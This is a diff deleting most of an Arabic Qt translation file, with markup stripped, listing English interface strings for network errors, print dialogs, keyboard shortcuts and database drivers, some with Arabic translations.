    -    
    -        
    -        The remote host closed the connection
    -        
    -    
    -    
    -        
    -        Network operation timed out
    -        
    -    
    -    
    -        
    -        Out of resources
    -        
    -    
    -    
    -        
    -        Unsupported socket operation
    -        
    -    
    -    
    -        
    -        Protocol type not supported
    -        
    -    
    -    
    -        
    -        Invalid socket descriptor
    -        
    -    
    -    
    -        
    -        Network unreachable
    -        
    -    
    -    
    -        
    -        Permission denied
    -        
    -    
    -    
    -        
    -        Connection timed out
    -        
    -    
    -    
    -        
    -        Connection refused
    -        رفض الوصل
    -    
    -    
    -        
    -        The bound address is already in use
    -        
    -    
    -    
    -        
    -        The address is not available
    -        
    -    
    -    
    -        
    -        The address is protected
    -        
    -    
    -    
    -        
    -        Unable to send a message
    -        
    -    
    -    
    -        
    -        Unable to receive a message
    -        
    -    
    -    
    -        
    -        Unable to write
    -        
    -    
    -    
    -        
    -        Network error
    -        
    -    
    -    
    -        
    -        Another socket is already listening on the same port
    -        
    -    
    -    
    -        
    -        Unable to initialize non-blocking socket
    -        
    -    
    -    
    -        
    -        Unable to initialize broadcast socket
    -        
    -    
    -    
    -        
    -        Attempt to use IPv6 socket on a platform with no IPv6 support
    -        
    -    
    -    
    -        
    -        Host unreachable
    -        
    -    
    -    
    -        
    -        Datagram was too large to send
    -        
    -    
    -    
    -        
    -        Operation on non-socket
    -        
    -    
    -    
    -        
    -        Unknown error
    -        خطأ مجهول
    -    
    -    
    -        
    -        The proxy type is invalid for this operation
    -        
    -    
    -
    -
    -    QNetworkAccessCacheBackend
    -    
    -        
    -        Error opening %1
    -        
    -    
    -
    -
    -    QNetworkAccessFileBackend
    -    
    -        
    -        Request for opening non-local file %1
    -        
    -    
    -    
    -        
    -        Error opening %1: %2
    -        
    -    
    -    
    -        
    -        Write error writing to %1: %2
    -        
    -    
    -    
    -        
    -        Cannot open %1: Path is a directory
    -        
    -    
    -    
    -        
    -        Read error reading from %1: %2
    -        
    -    
    -
    -
    -    QNetworkAccessFtpBackend
    -    
    -        
    -        No suitable proxy found
    -        
    -    
    -    
    -        
    -        Cannot open %1: is a directory
    -        
    -    
    -    
    -        
    -        Logging in to %1 failed: authentication required
    -        
    -    
    -    
    -        
    -        Error while downloading %1: %2
    -        
    -    
    -    
    -        
    -        Error while uploading %1: %2
    -        
    -    
    -
    -
    -    QNetworkAccessHttpBackend
    -    
    -        
    -        No suitable proxy found
    -        
    -    
    -
    -
    -    QNetworkReply
    -    
    -        
    -        Error downloading %1 - server replied: %2
    -        
    -    
    -    
    -        
    -        Protocol "%1" is unknown
    -        
    -    
    -
    -
    -    QNetworkReplyImpl
    -    
    -        
    -        
    -        Operation canceled
    -        
    -    
    -
    -
    -    QOCIDriver
    -    
    -        
    -        Unable to logon
    -        
    -    
    -    
    -        
    -        Unable to initialize
    -        QOCIDriver
    -        
    -    
    -    
    -        
    -        Unable to begin transaction
    -        
    -    
    -    
    -        
    -        Unable to commit transaction
    -        
    -    
    -    
    -        
    -        Unable to rollback transaction
    -        
    -    
    -
    -
    -    QOCIResult
    -    
    -        
    -        
    -        
    -        Unable to bind column for batch execute
    -        
    -    
    -    
    -        
    -        Unable to execute batch statement
    -        
    -    
    -    
    -        
    -        Unable to goto next
    -        
    -    
    -    
    -        
    -        Unable to alloc statement
    -        
    -    
    -    
    -        
    -        Unable to prepare statement
    -        
    -    
    -    
    -        
    -        Unable to bind value
    -        
    -    
    -    
    -        
    -        Unable to execute statement
    -        
    -    
    -
    -
    -    QODBCDriver
    -    
    -        
    -        Unable to connect
    -        
    -    
    -    
    -        
    -        Unable to connect - Driver doesn't support all needed functionality
    -        
    -    
    -    
    -        
    -        Unable to disable autocommit
    -        
    -    
    -    
    -        
    -        Unable to commit transaction
    -        
    -    
    -    
    -        
    -        Unable to rollback transaction
    -        
    -    
    -    
    -        
    -        Unable to enable autocommit
    -        
    -    
    -
    -
    -    QODBCResult
    -    
    -        
    -        
    -        QODBCResult::reset: Unable to set 'SQL_CURSOR_STATIC' as statement attribute. Please check your ODBC driver configuration
    -        
    -    
    -    
    -        
    -        
    -        Unable to execute statement
    -        
    -    
    -    
    -        
    -        Unable to fetch next
    -        
    -    
    -    
    -        
    -        Unable to prepare statement
    -        
    -    
    -    
    -        
    -        Unable to bind variable
    -        
    -    
    -    
    -        
    -        
    -        
    -        Unable to fetch last
    -        
    -    
    -    
    -        
    -        Unable to fetch
    -        
    -    
    -    
    -        
    -        Unable to fetch first
    -        
    -    
    -    
    -        
    -        Unable to fetch previous
    -        
    -    
    -
    -
    -    QObject
    -    
    -        
    -        Home
    -        منزل
    -    
    -    
    -        
    -        Operation not supported on %1
    -        
    -    
    -    
    -        
    -        Invalid URI: %1
    -        
    -    
    -    
    -        
    -        Write error writing to %1: %2
    -        
    -    
    -    
    -        
    -        Read error reading from %1: %2
    -        
    -    
    -    
    -        
    -        Socket error on %1: %2
    -        
    -    
    -    
    -        
    -        Remote host closed the connection prematurely on %1
    -        
    -    
    -    
    -        
    -        Protocol error: packet of size 0 received
    -        
    -    
    -    
    -        
    -        
    -        No host name given
    -        
    -    
    -
    -
    -    QPPDOptionsModel
    -    
    -        
    -        Name
    -        الإسم
    -    
    -    
    -        
    -        Value
    -        
    -    
    -
    -
    -    QPSQLDriver
    -    
    -        
    -        Unable to connect
    -        
    -    
    -    
    -        
    -        Could not begin transaction
    -        
    -    
    -    
    -        
    -        Could not commit transaction
    -        
    -    
    -    
    -        
    -        Could not rollback transaction
    -        
    -    
    -    
    -        
    -        Unable to subscribe
    -        
    -    
    -    
    -        
    -        Unable to unsubscribe
    -        
    -    
    -
    -
    -    QPSQLResult
    -    
    -        
    -        Unable to create query
    -        
    -    
    -    
    -        
    -        Unable to prepare statement
    -        
    -    
    -
    -
    -    QPageSetupWidget
    -    
    -        
    -        Centimeters (cm)
    -        
    -    
    -    
    -        
    -        Millimeters (mm)
    -        
    -    
    -    
    -        
    -        Inches (in)
    -        
    -    
    -    
    -        
    -        Points (pt)
    -        
    -    
    -    
    -        
    -        Form
    -        
    -    
    -    
    -        
    -        Paper
    -        
    -    
    -    
    -        
    -        Page size:
    -        
    -    
    -    
    -        
    -        Width:
    -        
    -    
    -    
    -        
    -        Height:
    -        
    -    
    -    
    -        
    -        Paper source:
    -        
    -    
    -    
    -        
    -        Orientation
    -        
    -    
    -    
    -        
    -        Portrait
    -        صورة
    -    
    -    
    -        
    -        Landscape
    -        منظر
    -    
    -    
    -        
    -        Reverse landscape
    -        
    -    
    -    
    -        
    -        Reverse portrait
    -        
    -    
    -    
    -        
    -        Margins
    -        
    -    
    -    
    -        
    -        top margin
    -        
    -    
    -    
    -        
    -        left margin
    -        
    -    
    -    
    -        
    -        right margin
    -        
    -    
    -    
    -        
    -        bottom margin
    -        
    -    
    -
    -
    -    QPluginLoader
    -    
    -        
    -        Unknown error
    -        خطأ مجهول
    -    
    -    
    -        
    -        The plugin was not loaded.
    -        
    -    
    -
    -
    -    QPrintDialog
    -    
    -        
    -        locally connected
    -        موصل محليّا
    -    
    -    
    -        
    -        
    -        Aliases: %1
    -        بدائل: %1
    -    
    -    
    -        
    -        
    -        unknown
    -        مجهول
    -    
    -    
    -        
    -        OK
    -        موافقة
    -    
    -    
    -        Cancel
    -        إلغاء
    -    
    -    
    -        Print in color if available
    -        طباعة بالألوان إن توفّرت
    -    
    -    
    -        Printer
    -        الطّابعة
    -    
    -    
    -        
    -        Print all
    -        طباعة الجميع
    -    
    -    
    -        
    -        Print range
    -        مدى الطّباعة
    -    
    -    
    -        Print last page first
    -        طباعة الصّفحة الخيرة أوّلا
    -    
    -    
    -        Number of copies:
    -        عدد النّسخ:
    -    
    -    
    -        Paper format
    -        مقاييس الورق
    -    
    -    
    -        Portrait
    -        صورة
    -    
    -    
    -        Landscape
    -        منظر
    -    
    -    
    -        
    -        A0 (841 x 1189 mm)
    -        أ0 (841 × 1189 مم)
    -    
    -    
    -        
    -        A1 (594 x 841 mm)
    -        أ1 (594 × 841 مم)
    -    
    -    
    -        
    -        A2 (420 x 594 mm)
    -        أ2 (420 × 594 مم)
    -    
    -    
    -        
    -        A3 (297 x 420 mm)
    -        أ3 (297 × 420 مم)
    -    
    -    
    -        
    -        A5 (148 x 210 mm)
    -        أ5 (148 × 210 مم)
    -    
    -    
    -        
    -        A6 (105 x 148 mm)
    -        أ6 (105 × 148 مم)
    -    
    -    
    -        
    -        A7 (74 x 105 mm)
    -        أ7 (74 × 105 مم)
    -    
    -    
    -        
    -        A8 (52 x 74 mm)
    -        أ8 (52 × 74 مم)
    -    
    -    
    -        
    -        A9 (37 x 52 mm)
    -        أ9 (37 × 52 مم)
    -    
    -    
    -        
    -        B0 (1000 x 1414 mm)
    -        ب0 (1000 × 1414 مم)
    -    
    -    
    -        
    -        B1 (707 x 1000 mm)
    -        ب1 (707 × 1000 مم)
    -    
    -    
    -        
    -        B2 (500 x 707 mm)
    -        ب2 (500 × 707 مم)
    -    
    -    
    -        
    -        B3 (353 x 500 mm)
    -        ب3 (353 × 500 مم)
    -    
    -    
    -        
    -        B4 (250 x 353 mm)
    -        ب4 (250 × 353 مم)
    -    
    -    
    -        
    -        B6 (125 x 176 mm)
    -        ب6 (125 × 176 مم)
    -    
    -    
    -        
    -        B7 (88 x 125 mm)
    -        ب7 (88 × 125 مم)
    -    
    -    
    -        
    -        B8 (62 x 88 mm)
    -        ب4 (62 × 88 مم)
    -    
    -    
    -        
    -        B9 (44 x 62 mm)
    -        ب9 (44 × 62 مم)
    -    
    -    
    -        
    -        B10 (31 x 44 mm)
    -        ب10 (31 × 44 مم)
    -    
    -    
    -        
    -        C5E (163 x 229 mm)
    -        سي5إي (163 × 229 مم)
    -    
    -    
    -        
    -        DLE (110 x 220 mm)
    -        دي أل إي (110 × 220 مم)
    -    
    -    
    -        
    -        Folio (210 x 330 mm)
    -        ملفّ (210 × 330 مم)
    -    
    -    
    -        
    -        Ledger (432 x 279 mm)
    -        دفتر (432 × 279 مم)
    -    
    -    
    -        
    -        Tabloid (279 x 432 mm)
    -        جريدة (279 × 432 مم)
    -    
    -    
    -        
    -        US Common #10 Envelope (105 x 241 mm)
    -        غلاف رسالة أمريكية متداولة رقم 10 (105 × 241 مم)
    -    
    -    
    -        
    -        A4 (210 x 297 mm, 8.26 x 11.7 inches)
    -        
    -    
    -    
    -        
    -        B5 (176 x 250 mm, 6.93 x 9.84 inches)
    -        
    -    
    -    
    -        
    -        Executive (7.5 x 10 inches, 191 x 254 mm)
    -        
    -    
    -    
    -        
    -        Legal (8.5 x 14 inches, 216 x 356 mm)
    -        
    -    
    -    
    -        
    -        Letter (8.5 x 11 inches, 216 x 279 mm)
    -        
    -    
    -    
    -        
    -        
    -        
    -        Print
    -        طباعة
    -    
    -    
    -        File
    -        ملفّ
    -    
    -    
    -        
    -        Print To File ...
    -        
    -    
    -    
    -        
    -        File %1 is not writable.
    -Please choose a different file name.
    -        
    -    
    -    
    -        
    -        %1 already exists.
    -Do you want to overwrite it?
    -        
    -    
    -    
    -        
    -        File exists
    -        
    -    
    -    
    -        
    -        <qt>Do you want to overwrite it?</qt>
    -        
    -    
    -    
    -        
    -        Print selection
    -        
    -    
    -    
    -        
    -        %1 is a directory.
    -Please choose a different file name.
    -        
    -    
    -    
    -        
    -        A0
    -        
    -    
    -    
    -        
    -        A1
    -        
    -    
    -    
    -        
    -        A2
    -        
    -    
    -    
    -        
    -        A3
    -        
    -    
    -    
    -        
    -        A4
    -        
    -    
    -    
    -        
    -        A5
    -        
    -    
    -    
    -        
    -        A6
    -        
    -    
    -    
    -        
    -        A7
    -        
    -    
    -    
    -        
    -        A8
    -        
    -    
    -    
    -        
    -        A9
    -        
    -    
    -    
    -        
    -        B0
    -        
    -    
    -    
    -        
    -        B1
    -        
    -    
    -    
    -        
    -        B2
    -        
    -    
    -    
    -        
    -        B3
    -        
    -    
    -    
    -        
    -        B4
    -        
    -    
    -    
    -        
    -        B5
    -        
    -    
    -    
    -        
    -        B6
    -        
    -    
    -    
    -        
    -        B7
    -        
    -    
    -    
    -        
    -        B8
    -        
    -    
    -    
    -        
    -        B9
    -        
    -    
    -    
    -        
    -        B10
    -        
    -    
    -    
    -        
    -        C5E
    -        
    -    
    -    
    -        
    -        DLE
    -        
    -    
    -    
    -        
    -        Executive
    -        
    -    
    -    
    -        
    -        Folio
    -        
    -    
    -    
    -        
    -        Ledger
    -        
    -    
    -    
    -        
    -        Legal
    -        
    -    
    -    
    -        
    -        Letter
    -        
    -    
    -    
    -        
    -        Tabloid
    -        
    -    
    -    
    -        
    -        US Common #10 Envelope
    -        
    -    
    -    
    -        
    -        Custom
    -        
    -    
    -    
    -        
    -        
    -        &Options >>
    -        
    -    
    -    
    -        
    -        &Print
    -        
    -    
    -    
    -        
    -        &Options <<
    -        
    -    
    -    
    -        
    -        Print to File (PDF)
    -        
    -    
    -    
    -        
    -        Print to File (Postscript)
    -        
    -    
    -    
    -        
    -        Local file
    -        
    -    
    -    
    -        
    -        Write %1 file
    -        
    -    
    -    
    -        
    -        The 'From' value cannot be greater than the 'To' value.
    -        
    -    
    -
    -
    -    QPrintPreviewDialog
    -    
    -        
    -        
    -        Page Setup
    -        
    -    
    -    
    -        
    -        %1%
    -        
    -    
    -    
    -        
    -        Print Preview
    -        
    -    
    -    
    -        
    -        Next page
    -        
    -    
    -    
    -        
    -        Previous page
    -        
    -    
    -    
    -        
    -        First page
    -        
    -    
    -    
    -        
    -        Last page
    -        
    -    
    -    
    -        
    -        Fit width
    -        
    -    
    -    
    -        
    -        Fit page
    -        
    -    
    -    
    -        
    -        Zoom in
    -        
    -    
    -    
    -        
    -        Zoom out
    -        
    -    
    -    
    -        
    -        Portrait
    -        صورة
    -    
    -    
    -        
    -        Landscape
    -        منظر
    -    
    -    
    -        
    -        Show single page
    -        
    -    
    -    
    -        
    -        Show facing pages
    -        
    -    
    -    
    -        
    -        Show overview of all pages
    -        
    -    
    -    
    -        
    -        Print
    -        طباعة
    -    
    -    
    -        
    -        Page setup
    -        
    -    
    -    
    -        
    -        Close
    -        إغلاق
    -    
    -    
    -        
    -        Export to PDF
    -        
    -    
    -    
    -        
    -        Export to PostScript
    -        
    -    
    -
    -
    -    QPrintPropertiesDialog
    -    
    -        Save
    -        حفظ
    -    
    -    
    -        OK
    -        موافقة
    -    
    -
    -
    -    QPrintPropertiesWidget
    -    
    -        
    -        Form
    -        
    -    
    -    
    -        
    -        Page
    -        
    -    
    -    
    -        
    -        Advanced
    -        
    -    
    -
    -
    -    QPrintSettingsOutput
    -    
    -        
    -        Form
    -        
    -    
    -    
    -        
    -        Copies
    -        
    -    
    -    
    -        
    -        Print range
    -        مدى الطّباعة
    -    
    -    
    -        
    -        Print all
    -        طباعة الجميع
    -    
    -    
    -        
    -        Pages from
    -        
    -    
    -    
    -        
    -        to
    -        
    -    
    -    
    -        
    -        Selection
    -        
    -    
    -    
    -        
    -        Output Settings
    -        
    -    
    -    
    -        
    -        Copies:
    -        
    -    
    -    
    -        
    -        Collate
    -        
    -    
    -    
    -        
    -        Reverse
    -        
    -    
    -    
    -        
    -        Options
    -        خيارات
    -    
    -    
    -        
    -        Color Mode
    -        
    -    
    -    
    -        
    -        Color
    -        
    -    
    -    
    -        
    -        Grayscale
    -        
    -    
    -    
    -        
    -        Duplex Printing
    -        
    -    
    -    
    -        
    -        None
    -        
    -    
    -    
    -        
    -        Long side
    -        
    -    
    -    
    -        
    -        Short side
    -        
    -    
    -
    -
    -    QPrintWidget
    -    
    -        
    -        Form
    -        
    -    
    -    
    -        
    -        Printer
    -        الطّابعة
    -    
    -    
    -        
    -        &Name:
    -        
    -    
    -    
    -        
    -        P&roperties
    -        
    -    
    -    
    -        
    -        Location:
    -        
    -    
    -    
    -        
    -        Preview
    -        
    -    
    -    
    -        
    -        Type:
    -        
    -    
    -    
    -        
    -        Output &file:
    -        
    -    
    -    
    -        
    -        ...
    -        
    -    
    -
    -
    -    QProcess
    -    
    -        
    -        
    -        Could not open input redirection for reading
    -        
    -    
    -    
    -        
    -        
    -        Could not open output redirection for writing
    -        
    -    
    -    
    -        
    -        Resource error (fork failure): %1
    -        
    -    
    -    
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        Process operation timed out
    -        
    -    
    -    
    -        
    -        
    -        
    -        
    -        Error reading from process
    -        
    -    
    -    
    -        
    -        
    -        
    -        Error writing to process
    -        
    -    
    -    
    -        
    -        Process crashed
    -        
    -    
    -    
    -        
    -        No program defined
    -        
    -    
    -    
    -        
    -        Process failed to start
    -        
    -    
    -
    -
    -    QProgressDialog
    -    
    -        
    -        Cancel
    -        إلغاء
    -    
    -
    -
    -    QPushButton
    -    
    -        
    -        Open
    -        فتح
    -    
    -
    -
    -    QRadioButton
    -    
    -        
    -        Check
    -        
    -    
    -
    -
    -    QRegExp
    -    
    -        
    -        no error occurred
    -        لم يحدث  هناك أيّ خطأ
    -    
    -    
    -        
    -        disabled feature used
    -        تمّ استعمال خاصيّة التّوقيف
    -    
    -    
    -        
    -        bad char class syntax
    -        خطأ نركيبي: صنف الرّمز
    -    
    -    
    -        
    -        bad lookahead syntax
    -        خطأ تركيبي: النّظر إلى الأمام
    -    
    -    
    -        
    -        bad repetition syntax
    -        خطأ نركيبي: تكرار
    -    
    -    
    -        
    -        invalid octal value
    -        قيمة ثمانية غبر صالحة
    -    
    -    
    -        
    -        missing left delim
    -        الفاصل الأيسر ناقص
    -    
    -    
    -        
    -        unexpected end
    -        نهاية غير متوقّعة
    -    
    -    
    -        
    -        met internal limit
    -        تمّ الوصول إلى الحدّ الدّاخلي
    -    
    -
    -
    -    QSQLite2Driver
    -    
    -        
    -        Error to open database
    -        
    -    
    -    
    -        
    -        Unable to begin transaction
    -        
    -    
    -    
    -        
    -        Unable to commit transaction
    -        
    -    
    -    
    -        
    -        Unable to rollback Transaction
    -        
    -    
    -
    -
    -    QSQLite2Result
    -    
    -        
    -        Unable to fetch results
    -        
    -    
    -    
    -        
    -        Unable to execute statement
    -        
    -    
    -
    -
    -    QSQLiteDriver
    -    
    -        
    -        Error opening database
    -        
    -    
    -    
    -        
    -        Error closing database
    -        
    -    
    -    
    -        
    -        Unable to begin transaction
    -        
    -    
    -    
    -        
    -        Unable to commit transaction
    -        
    -    
    -    
    -        
    -        Unable to rollback transaction
    -        
    -    
    -
    -
    -    QSQLiteResult
    -    
    -        
    -        
    -        
    -        Unable to fetch row
    -        
    -    
    -    
    -        
    -        Unable to execute statement
    -        
    -    
    -    
    -        
    -        Unable to reset statement
    -        
    -    
    -    
    -        
    -        Unable to bind parameters
    -        
    -    
    -    
    -        
    -        Parameter count mismatch
    -        
    -    
    -    
    -        
    -        No query
    -        
    -    
    -
    -
    -    QScrollBar
    -    
    -        
    -        Scroll here
    -        
    -    
    -    
    -        
    -        Left edge
    -        
    -    
    -    
    -        
    -        Top
    -        
    -    
    -    
    -        
    -        Right edge
    -        
    -    
    -    
    -        
    -        Bottom
    -        
    -    
    -    
    -        
    -        Page left
    -        
    -    
    -    
    -        
    -        
    -        Page up
    -        
    -    
    -    
    -        
    -        Page right
    -        
    -    
    -    
    -        
    -        
    -        Page down
    -        
    -    
    -    
    -        
    -        Scroll left
    -        
    -    
    -    
    -        
    -        Scroll up
    -        
    -    
    -    
    -        
    -        Scroll right
    -        
    -    
    -    
    -        
    -        Scroll down
    -        
    -    
    -    
    -        
    -        Line up
    -        تصفيف
    -    
    -    
    -        
    -        Position
    -        
    -    
    -    
    -        
    -        Line down
    -        
    -    
    -
    -
    -    QSharedMemory
    -    
    -        
    -        %1: unable to set key on lock
    -        
    -    
    -    
    -        
    -        %1: create size is less then 0
    -        
    -    
    -    
    -        
    -        
    -        %1: unable to lock
    -        
    -    
    -    
    -        
    -        %1: unable to unlock
    -        
    -    
    -    
    -        
    -        
    -        %1: permission denied
    -        
    -    
    -    
    -        
    -        
    -        %1: already exists
    -        
    -    
    -    
    -        
    -        
    -        %1: doesn't exists
    -        
    -    
    -    
    -        
    -        
    -        %1: out of resources
    -        
    -    
    -    
    -        
    -        
    -        %1: unknown error %2
    -        
    -    
    -    
    -        
    -        %1: key is empty
    -        
    -    
    -    
    -        
    -        %1: unix key file doesn't exists
    -        
    -    
    -    
    -        
    -        %1: ftok failed
    -        
    -    
    -    
    -        
    -        
    -        %1: unable to make key
    -        
    -    
    -    
    -        
    -        %1: system-imposed size restrictions
    -        
    -    
    -    
    -        
    -        %1: not attached
    -        
    -    
    -    
    -        
    -        %1: invalid size
    -        
    -    
    -    
    -        
    -        %1: key error
    -        
    -    
    -    
    -        
    -        %1: size query failed
    -        
    -    
    -
    -
    -    QShortcut
    -    
    -        
    -        Space
    -        فراغ
    -    
    -    
    -        
    -        Esc
    -        إفلات
    -    
    -    
    -        
    -        Tab
    -        جدولة
    -    
    -    
    -        
    -        Backtab
    -        جدولة للوراء
    -    
    -    
    -        
    -        Backspace
    -        فراغ للوراء
    -    
    -    
    -        
    -        Return
    -        عودة
    -    
    -    
    -        
    -        Enter
    -        إدخال
    -    
    -    
    -        
    -        Ins
    -        إدراج
    -    
    -    
    -        
    -        Del
    -        حذف
    -    
    -    
    -        
    -        Pause
    -        وقف
    -    
    -    
    -        
    -        Print
    -        طباعة
    -    
    -    
    -        
    -        SysReq
    -        نظام
    -    
    -    
    -        
    -        Home
    -        منزل
    -    
    -    
    -        
    -        End
    -        نهاية
    -    
    -    
    -        
    -        Left
    -        يسار
    -    
    -    
    -        
    -        Up
    -        فوق
    -    
    -    
    -        
    -        Right
    -        يمين
    -    
    -    
    -        
    -        Down
    -        تحت
    -    
    -    
    -        
    -        PgUp
    -        صفحة للفوق
    -    
    -    
    -        
    -        PgDown
    -        صفحة للتحت
    -    
    -    
    -        
    -        CapsLock
    -        إقفال الحروف الكبيرة
    -    
    -    
    -        
    -        NumLock
    -        إقفال الأعداد
    -    
    -    
    -        
    -        ScrollLock
    -        إقفال التّحريك
    -    
    -    
    -        
    -        Menu
    -        قائمة الخيارات
    -    
    -    
    -        
    -        Help
    -        مساعدة
    -    
    -    
    -        
    -        Back
    -        رجوع
    -    
    -    
    -        
    -        Forward
    -        للأمام
    -    
    -    
    -        
    -        Stop
    -        توقّف
    -    
    -    
    -        
    -        Refresh
    -        إنعاش
    -    
    -    
    -        
    -        Volume Down
    -        تنقيص الصّوت
    -    
    -    
    -        
    -        Volume Mute
    -        إغلاق الصّوت
    -    
    -    
    -        
    -        Volume Up
    -        زيادة الصّوت
    -    
    -    
    -        
    -        Bass Boost
    -        إنعاش الأصوات الجهورية
    -    
    -    
    -        
    -        Bass Up
    -        زيادة الأصوات الجهورية
    -    
    -    
    -        
    -        Bass Down
    -        تنقيص الأصوات الجهورية
    -    
    -    
    -        
    -        Treble Up
    -        زيادة الأصوات الحادّة
    -    
    -    
    -        
    -        Treble Down
    -        تنقيص الأصوات الحادّة
    -    
    -    
    -        
    -        Media Play
    -        لعب الوسط
    -    
    -    
    -        
    -        Media Stop
    -        توقيف الوسط
    -    
    -    
    -        
    -        Media Previous
    -        الوسط الأسبق
    -    
    -    
    -        
    -        Media Next
    -        الوسط التّالي
    -    
    -    
    -        
    -        Media Record
    -        تسجيل الوسط
    -    
    -    
    -        
    -        Favorites
    -        المفضّلات
    -    
    -    
    -        
    -        Search
    -        بحث
    -    
    -    
    -        
    -        Standby
    -        إنتظار
    -    
    -    
    -        
    -        Open URL
    -        فتح الوصلة
    -    
    -    
    -        
    -        Launch Mail
    -        بدأ البريد
    -    
    -    
    -        
    -        Launch Media
    -        بدأ الوسط
    -    
    -    
    -        
    -        Launch (0)
    -        بدأ (0)
    -    
    -    
    -        
    -        Launch (1)
    -        بدأ (1)
    -    
    -    
    -        
    -        Launch (2)
    -        بدأ (2)
    -    
    -    
    -        
    -        Launch (3)
    -        بدأ (3)
    -    
    -    
    -        
    -        Launch (4)
    -        بدأ (4)
    -    
    -    
    -        
    -        Launch (5)
    -        بدأ (5)
    -    
    -    
    -        
    -        Launch (6)
    -        بدأ (6)
    -    
    -    
    -        
    -        Launch (7)
    -        بدأ (7)
    -    
    -    
    -        
    -        Launch (8)
    -        بدأ (8)
    -    
    -    
    -        
    -        Launch (9)
    -        بدأ (9)
    -    
    -    
    -        
    -        Launch (A)
    -        بدأ (A)
    -    
    -    
    -        
    -        Launch (B)
    -        بدأ (B)
    -    
    -    
    -        
    -        Launch (C)
    -        بدأ (C)
    -    
    -    
    -        
    -        Launch (D)
    -        بدأ (D)
    -    
    -    
    -        
    -        Launch (E)
    -        بدأ (E)
    -    
    -    
    -        
    -        Launch (F)
    -        بدأ (F)
    -    
    -    
    -        
    -        Print Screen
    -        
    -    
    -    
    -        
    -        Page Up
    -        
    -    
    -    
    -        
    -        Page Down
    -        
    -    
    -    
    -        
    -        Caps Lock
    -        
    -    
    -    
    -        
    -        Num Lock
    -        
    -    
    -    
    -        
    -        Number Lock
    -        
    -    
    -    
    -        
    -        Scroll Lock
    -        
    -    
    -    
    -        
    -        Insert
    -        إدراج
    -    
    -    
    -        
    -        Delete
    -        حذف
    -    
    -    
    -        
    -        Escape
    -        
    -    
    -    
    -        
    -        System Request
    -        
    -    
    -    
    -        
    -        Select
    -        
    -    
    -    
    -        
    -        Yes
    -        نعم
    -    
    -    
    -        
    -        No
    -        لا
    -    
    -    
    -        
    -        Context1
    -        
    -    
    -    
    -        
    -        Context2
    -        
    -    
    -    
    -        
    -        Context3
    -        
    -    
    -    
    -        
    -        Context4
    -        
    -    
    -    
    -        
    -        Call
    -        
    -    
    -    
    -        
    -        Hangup
    -        
    -    
    -    
    -        
    -        Flip
    -        
    -    
    -    
    -        
    -        
    -        Ctrl
    -        تحكّم
    -    
    -    
    -        
    -        
    -        Shift
    -        إزاحة
    -    
    -    
    -        
    -        
    -        Alt
    -        تناوب
    -    
    -    
    -        
    -        
    -        Meta
    -        ما فوق
    -    
    -    
    -        
    -        +
    -        +
    -    
    -    
    -        
    -        F%1
    -        F%1
    -    
    -    
    -        
    -        Home Page
    -        
    -    
    -
    -
    -    QSlider
    -    
    -        
    -        Page left
    -        
    -    
    -    
    -        
    -        Page up
    -        
    -    
    -    
    -        
    -        Position
    -        
    -    
    -    
    -        
    -        Page right
    -        
    -    
    -    
    -        
    -        Page down
    -        
    -    
    -
    -
    -    QSocks5SocketEngine
    -    
    -        
    -        Connection to proxy refused
    -        
    -    
    -    
    -        
    -        Connection to proxy closed prematurely
    -        
    -    
    -    
    -        
    -        Proxy host not found
    -        
    -    
    -    
    -        
    -        Connection to proxy timed out
    -        
    -    
    -    
    -        
    -        Proxy authentication failed
    -        
    -    
    -    
    -        
    -        Proxy authentication failed: %1
    -        
    -    
    -    
    -        
    -        SOCKS version 5 protocol error
    -        
    -    
    -    
    -        
    -        General SOCKSv5 server failure
    -        
    -    
    -    
    -        
    -        Connection not allowed by SOCKSv5 server
    -        
    -    
    -    
    -        
    -        TTL expired
    -        
    -    
    -    
    -        
    -        SOCKSv5 command not supported
    -        
    -    
    -    
    -        
    -        Address type not supported
    -        
    -    
    -    
    -        
    -        Unknown SOCKSv5 proxy error code 0x%1
    -        
    -    
    -    
    -        
    -        Network operation timed out
    -        
    -    
    -
    -
    -    QSpinBox
    -    
    -        
    -        More
    -        
    -    
    -    
    -        
    -        Less
    -        
    -    
    -
    -
    -    QSql
    -    
    -        
    -        Delete
    -        حذف
    -    
    -    
    -        
    -        Delete this record?
    -        حذف هذاالتّسجيل؟
    -    
    -    
    -        
    -        
    -        
    -        Yes
    -        نعم
    -    
    -    
    -        
    -        
    -        
    -        No
    -        لا
    -    
    -    
    -        
    -        Insert
    -        إدراج
    -    
    -    
    -        
    -        Update
    -        تحديث
    -    
    -    
    -        
    -        Save edits?
    -        حفظ التّغييرات؟
    -    
    -    
    -        
    -        Cancel
    -        إلغاء
    -    
    -    
    -        
    -        Confirm
    -        تأكيد
    -    
    -    
    -        
    -        Cancel your edits?
    -        إلغاء التّغييرات؟
    -    
    -
    -
    -    QSslSocket
    -    
    -        
    -        Unable to write data: %1
    -        
    -    
    -    
    -        
    -        Error while reading: %1
    -        
    -    
    -    
    -        
    -        Error during SSL handshake: %1
    -        
    -    
    -    
    -        
    -        Error creating SSL context (%1)
    -        
    -    
    -    
    -        
    -        Invalid or empty cipher list (%1)
    -        
    -    
    -    
    -        
    -        Error creating SSL session, %1
    -        
    -    
    -    
    -        
    -        Error creating SSL session: %1
    -        
    -    
    -    
    -        
    -        Cannot provide a certificate with no key, %1
    -        
    -    
    -    
    -        
    -        Error loading local certificate, %1
    -        
    -    
    -    
    -        
    -        Error loading private key, %1
    -        
    -    
    -    
    -        
    -        Private key does not certificate public key, %1
    -        
    -    
    -
    -
    -    QSystemSemaphore
    -    
    -        
    -        
    -        %1: out of resources
    -        
    -    
    -    
    -        
    -        
    -        %1: permission denied
    -        
    -    
    -    
    -        
    -        %1: already exists
    -        
    -    
    -    
    -        
    -        %1: does not exist
    -        
    -    
    -    
    -        
    -        
    -        %1: unknown error %2
    -        
    -    
    -
    -
    -    QTDSDriver
    -    
    -        
    -        Unable to open connection
    -        
    -    
    -    
    -        
    -        Unable to use database
    -        
    -    
    -
    -
    -    QTabBar
    -    
    -        
    -        Scroll Left
    -        
    -    
    -    
    -        
    -        Scroll Right
    -        
    -    
    -
    -
    -    QTcpServer
    -    
    -        
    -        Operation on socket is not supported
    -        
    -    
    -
    -
    -    QTextControl
    -    
    -        
    -        &Undo
    -        &تراجع
    -    
    -    
    -        
    -        &Redo
    -        إ&عادة
    -    
    -    
    -        
    -        Cu&t
    -        &قصّ
    -    
    -    
    -        
    -        &Copy
    -        &نسخ
    -    
    -    
    -        
    -        Copy &Link Location
    -        
    -    
    -    
    -        
    -        &Paste
    -        ت&لصيق
    -    
    -    
    -        
    -        Delete
    -        حذف
